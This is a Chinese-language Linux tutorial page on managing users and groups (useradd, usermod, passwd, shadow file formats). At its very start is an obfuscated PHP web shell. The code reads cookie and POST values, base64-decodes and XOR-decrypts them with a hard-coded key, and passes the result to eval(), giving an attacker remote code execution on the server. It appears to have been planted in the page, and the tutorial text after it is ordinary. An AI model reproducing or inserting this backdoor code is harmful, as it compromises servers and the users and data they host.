$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 用户和组 | Linux运维部落

用户和组

用户和组

touch /etc/nologin
    系统做维护时不想普通用户登录,就可以创建这个文件,也可以在里面写一些提示。
    维护完之后删除这个文件就可以自动恢复
    
touch /run/nologin
    与上述命令功能相同,但是这个命令只有在CentOS7上可以用。
用户(USER)
根据所具有权限的不同,用户分为两类:
    管理员用户:root,UID为0.(只有管理员用户才能为0)
    普通用户:UID  1-65535
        普通用户又可以分为两类:
        系统用户:保障系统运行的用户,一般不提供密码登录系统,其UID为1-499(CentOS6)、1-1000(CentOS7)之间.
        登录用户:即一般用户,其使用系统的权限受限,其UID为500-60000(CentOS6)、1000-60000(CentOS7)之间.(一般默认使用到60000)
        名称解析:名称转换
            Username<-->UID
                根据名称解析库进行:/etc/passwd
组(group)
Linux组:Groupname /  GID
    与用户一样,组也是分为两类:
        管理员组:root  0 
        普通组:
            系统组:1-499(CentOS6)、1-999(CentOS7)
            普通组:500-60000(centos6)、1000-60000(CentOS7)
组的类别:
    主组:(主要组,基本组):
        用户必须拥有和属于一个主组,主组有且只有一个。
        主组名与用户名相同,且仅包含一个用户:是私有组。
        
    附加组:(辅助组)
        一个用户可以属于零个或一个或多个附加组
            
    名称解析:名称转换
        groupname<--->gid
            解析库:/etc/group
用户和组的配置文件
Linux 用户和组的主要配置文件:   
         /etc/passwd :用户及其属性信息( 名称、UID 、主组ID 等)    
         /etc/group :组及其属性信息    
         /etc/shadow :用户密码及其相关属性    
         /etc/gshadow:组密码及其相关属性
  • passwd文件格式

     login name :登录用名
     passwd :密码
     UID号 :用户身份编号
     GID :用户所属主组的ID号
     GECOS :用户全名或注释
     home directory(家目录) :用户主目录 
     shell :用户默认使用shell
  • shadow文件格式

登录用名:
    用户密码: 一般用sha512 加密
    最近一次修改密码的时间:从1970 年1 月1 日起到密码最近一次被更改的时间         
    最短使用期限:密码再过几天可以被变更(0 表示随时可被变更)
    最长使用期限:密码再过几天必须被变更(99999 表示永不过期)
    警告期段:密码过期前几天系统提醒用户(默认为一周)
    密码过期几天后帐号会被锁定
    从1970 年1 月1 日算起,多少天后帐号失效。
  • group文件格式

    群组名称:就是群组名称
      群组密码:通常不需要设定,密码是被记录在/etc/gshadow
      GID的 :就是群组的 ID
      以当前组为附加组的用户列表(分隔符为逗号)
  • gshadow文件格式

    群组名称:就是群组名称
      群组密码:
      组管理员列表:组管理员的列表,更改组密码和成员
      以当前组为附加组的用户列表:(分隔符为逗号)
  • 密码加密

    加密机制:
          加密:明文-->  密文
          解密:密文-->  明文
      单向加密:哈希算法,原文不同,密文必不同
          相同算法定长输出,获得密文不可逆推出原始数据
          雪崩效应:初始条件的微小改变,引起结果的巨大改变
          md5: message digest, 128bits
          sha1: secure hash algorithm, 160bits
          sha224: 224bits
          sha256: 256bits
          sha384: 384bits
          sha512: 512bits
      更改加密算法 authconfig --passalgo=sha256 -- update
  • 用户和组的管理命令

    用户管理命令
          useradd    增加用户
          usermod    修改用户属性
          userdel    删除用户
      组帐号维护命令
          groupadd    增加组
          groupmod    修改组属性
          groupdel    删除组

用户创建

  • useradd

    useradd [options] login_name
      参数:
    
          -u UID:手动指定用户UID,默认的话是上一个用户的UID+1
              [root@localhost ~]# tail -2 /etc/passwd
              sarah:x:2009:2010::/home/sarah:/sbin/nologin
              haha:x:2010:2011::/home/haha:/bin/bash
              [root@localhost ~]# useradd haha2
              [root@localhost ~]# tail -2 /etc/passwd
              haha:x:2010:2011::/home/haha:/bin/bash
              haha2:x:2011:2012::/home/haha2:/bin/bash
    
    
          -o  配合-u  选项,不检查UID 的唯一性
              [root@localhost ~]# useradd -ou 2011 haha3
              [root@localhost ~]# tail -2 /etc/passwd
              haha2:x:2011:2012::/home/haha2:/bin/bash
              haha3:x:2011:2013::/home/haha3:/bin/bash
    
    
          -g GID :指明用户所属基本组,可为组名,也可以GID
              [root@localhost ~]# useradd -g root haha4
              [root@localhost ~]# id haha4
              uid=2012(haha4) gid=0(root) groups=0(root)
              
          -c  "COMMENT" :用户的注释信息
              [root@localhost ~]# useradd -c "kuailederen haha4" haha5
              [root@localhost ~]# getent passwd haha5
              haha5:x:2013:2014:kuailederen haha4:/home/haha5:/bin/bash
    
    
          -d  HOME_DIR: 以指定的路径( 不存在) 为家目录
              [root@localhost ~]# useradd -d /home/hahatest/ haha6
              [root@localhost ~]# getent passwd haha6
              haha6:x:2014:2015::/home/hahatest/:/bin/bash
    
    
          -s  SHELL :  指明用户的默认shell 程序可用列表在/etc/shells 文件中
              [root@localhost ~]# useradd -s /bin/csh/ haha7
              [root@localhost ~]# getent passwd haha7
              haha7:x:2015:2016::/home/haha7:/bin/csh/
    
          -G  GROUP1[,GROUP2,...] :为用户指明附加组,组必须事先存在
              [root@localhost ~]# usermod -G bin haha6
              [root@localhost ~]# getent passwd haha6
              haha6:x:2014:2015::/home/hahatest/:/bin/bash
              [root@localhost ~]# groups haha6
              haha6 : haha6 bin
       
          -N  不创建私用组做主组,使用users 组做主组
              [root@localhost ~]# useradd -N haha8
              [root@localhost ~]# groups haha8
              haha8 : users
    
          -r:  创建系统用户 CentOS 6: ID<500 ,CentOS 7: ID<1000
              [root@localhost ~]# useradd -r haha9
              [root@localhost ~]# groups haha9
              haha9 : haha9
              [root@localhost ~]# id haha9
              uid=991(haha9) gid=986(haha9) groups=986(haha9)
              [root@localhost ~]# getent passwd haha9
              haha9:x:991:986::/home/haha9:/bin/bash
  • 创建用户是的默认值在文件:

    默认值设定:/etc/default/useradd 文件中
      显示或更改默认设置:
          useradd -D
          useradd –D -s SHELL
  • 新建用户相关的文件和命令

    /etc/default/useradd      /etc/skel/*  
          /etc/login.defs
          newusers passwd 格式文件 批量创建用户
          chpasswd 批量修改用户口令
批量创建用户
newusers file (file 里是要批量创建的用户的配置信息)
file
  (hehe1:x:2000:2000::/home/hehe1:/bin/bash
    hehe2:x:2001:2002::/home/hehe2:/bin/bash
    hehe3:x:2002:2002::/home/hehe3:/bin/bash
    hehe4:x:2003:2003::/home/hehe4:/bin/bash
    hehe5:x:2004:2004::/home/hehe5:/bin/bash
    )
批量修改用户密码
cat file |  chpasswd
file(用户名 :密码)
    (hehe :12345
    hehe2:redhat    hehe3:centos
    )
新创建的家目录里面没有配置文件登录时候会出错,恢复家目录文件的方法是:
   (1) [root@localhost skel]# cp -r /etc/skel/.[^.]* /home/hehe2
    [root@localhost skel]# cd /home/hehe3
    [root@localhost hehe3]# ls -a 
    .  ..
    [root@localhost hehe3]# cd
    [root@localhost ~]# 
    [root@localhost ~]# cd /home/hehe2
    [root@localhost hehe2]# ls -a
    .  ..  .bash_logout  .bash_profile  .bashrc  .mozilla
    
    附加方法:
        (2)cp  -r `ls -A` /home/hehe3/
                此方法只能在进入到skel目录里才行                  
                不能在其他目录下操作此命令
        (3)cp -r /etc/skel/. /home/hehe3/

用户属性修改

usermod [OPTION] login_name 
    -u UID:  新UID
    -g GID:  新基本组
    -G GROUP1[,GROUP2,...[,GROUPN]]] :新附加组,原来的附加组将会被覆盖;若保留原有,则要同时使用-a 选项,表示append; ;
    -s SHELL :新的默认SHELL;
    -c 'COMMENT' :新的注释信息;
    -d HOME:  新家目录不会自动创建,原家目录中的文件不会同时移动至新的家目录;若要创建新家目录并移动原家数据,同时使用-m选项
    -l login_name:  新的名字;
    -L: lock 指定用户, 在/etc/shadow  密码栏的增加 !
    -U: unlock 指定用户,将 /etc/shadow 的 密码栏的 !  拿掉
    -e YYYY-MM-DD:  指明用户账号过期日期;
    -f INACTIVE:  设定非活动期限;   
                   
        [root@localhost ~]# getent passwd haha5
        haha5:x:2013:2014:kuailederen haha4:/home/haha5:/bin/bash
        [root@localhost ~]# id haha5
        uid=2013(haha5) gid=2014(haha5) groups=2014(haha5)
        [root@localhost ~]# groups haha5
        haha5 : haha5
        [root@localhost ~]# usermod -u 2345 -g root -G bin -s /bin/csh -c "nihaohaha" -d /home/testdir/newhaha5 -m -l newhaha5 haha5
        [root@localhost ~]# getent passwd newhaha5
        newhaha5:x:2345:0:nihaohaha:/home/testdir/newhaha5:/bin/csh
        [root@localhost ~]# id newhaha5
        uid=2345(newhaha5) gid=0(root) groups=0(root),1(bin)
        [root@localhost ~]# groups newhaha5
        newhaha5 : root bin

查看用户相关id信息

id [OPTION]... [USER]
    -u: UID    -g: GID    -G: Groups    -n: Name
删除用户
userdel [option]... login_name
        -r 删除用户家目录
用户和组相关操作命令
pwunconv 密码不转换
        passwd unconv
    pwconv密码转换
        passwd conv
    chsh -s :改shell类型
    getent passwd 用户名:看用户信息
    getent shadow 用户名:
    usermod -U tom:解锁用户密码限制(创建用户没有设置密码时)
    usermod -L tom锁定,锁定后禁止用户登录,但是可以切换
    openssl rand -base64 10(位数)自动生成指定位数密码
    chage -d0 用户名 修改距离1971年天数
    passwd -e 用户名,将用户距离1971年天数置零
    finger 
    gpasswd 组名:给组设置口令

切换用户或以其他用户的身份执行命令

su [options...] [-] [user [args...]]
切换用户的方式:    
    su UserName :非登录式切换,即不会读取目标用户的配置文件,不改变当前工作目录    
    su - UserName:登录式切换,会读取目标用户的配置文件,切换至家目录,完全切换
    root su 至其他用户无须密码;
    非root用户切换时需要密码
换个身份执行命令:
su [-] UserName -c 'COMMAND'
        选项:
            -l --login_name:             
                su -l UserName 
                    相当于 su - UserName
设置密码
passwd [OPTIONS] UserName:  修改指定用户的密码,仅root 用户权限
        passwd:  修改自己的密码;
  常用选项:
        -l: 锁定指定用户        
        -u: 解锁指定用户        
        -e: 强制用户下次登录修改密码        
        -n mindays:  指定最短使用期限        
        -x maxdays :最大使用期限        
        -w warndays :提前多少天开始警告        
        -i inactivedays :非活动期限;        
        --stdin :从标准输入接收用户密码;        
        echo " PASSWORD " | passwd --stdin USERNAME
修改用户密码策略
chage [OPTION]... LOGIN
    -d LAST_DAY    
    -E, --expiredate EXPIRE_DATE    
    -I, --inactive INACTIVE   
    -m, --mindays MIN_DAYS    
    -M, --maxdays MAX_DAYS    
    -W, --warndays WARN_DAYS    
    –l,显示密码策略

创建组

groupadd [OPTION]... group_name
    -g GID:  指明GID 号;[GID_MIN, GID_MAX],默认情况下是上一个组的GID+1
    -r:  创建系统组;
        CentOS 6: ID<500
        CentOS 7: ID<1000

修改和删除组

组属性修改;groupmod
    groupmod [OPTION]... group
        -n group_name:  新名字        
        -g GID:  新的GID组删除:groupdel
    groupdel GROUP_NAME
更改组密码
组密码:gpasswd
         gpasswd [OPTION] GROUP
        -a user:  将user 添加至指定组中;
        -d user:  从指定组中移除用户user
        -A user1,user2,...:设置有管理权限的用户列表
    newgrp 命令:临时切换基本组;
        如果用户本不属于此组,则需要组密码

原创文章,作者:dxkboke,如若转载,请注明出处:http://www.178linux.com/28164

(0)
上一篇 2016-08-03 19:46
下一篇 2016-08-04 08:25

相关推荐

  • nfs 共享实验

    nfs全称为:network file system    网络文件系统 在Linux里可以理解为将一个文件夹变成共享文件夹,让其他用户都可以访问。而访问的主机其本地磁盘是没有存储文件的 创建方法如下 :     准备两台机器,一台当 client  另一台当server    &nbsp…

    Linux干货 2017-06-07
  • ansible原理及简单应用

    一、基础介绍 1、简介 ansible是新出现的自动化运维工具,基于python开发,集合了众多运维工具(puppet、cfengine、chef、func、fabric)的优点,实现了批量系统配置、批量程序部署、批量运行命令等功能。ansible是基于模块工作的,本身没有批量部署的能力。真正具有批量部署的是ansible所运行的模块,ansible只是提供…

    Linux干货 2016-01-13
  • SElinux 练习

    练习 .1、安装httpd服务,改变网站的默认主目录为/website,添加SELinux文件标签规则,设置http_sys_content_t到/website及目录下所有文件,使网站可访问 mkdir    /website vim    /etc/httpd/conf/ht…

    Linux干货 2016-09-19
  • 迁移分区

          1 备份/home    2 创建分区 /dev/sdc1 10G   [root@localhost ~]# du -sh /home   52K /home   3 格式化分区   [root@localhost …

    Linux干货 2017-04-25
  • 马哥教育网络班22期+第三周(8.22-8.28)博客作业

    1、列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可。   # who|awk '{print $1}'|sort| uniq 2、取出最后登录到当前系统的用户的相关信息。   # last   # last|gr…

    Linux干货 2016-08-29
  • 推荐-btrfs文件系统介绍及操作

    btrfs文件系统支持写时复制功能,对备份很有帮助。在单个硬盘时,btrfs是没有意义的。     核心特性:         多物理卷支持:btrfs可由多个底层物理卷组成;支持RAID,以联机“添加”、“移除”,“修改”;       …

    Linux干货 2016-06-01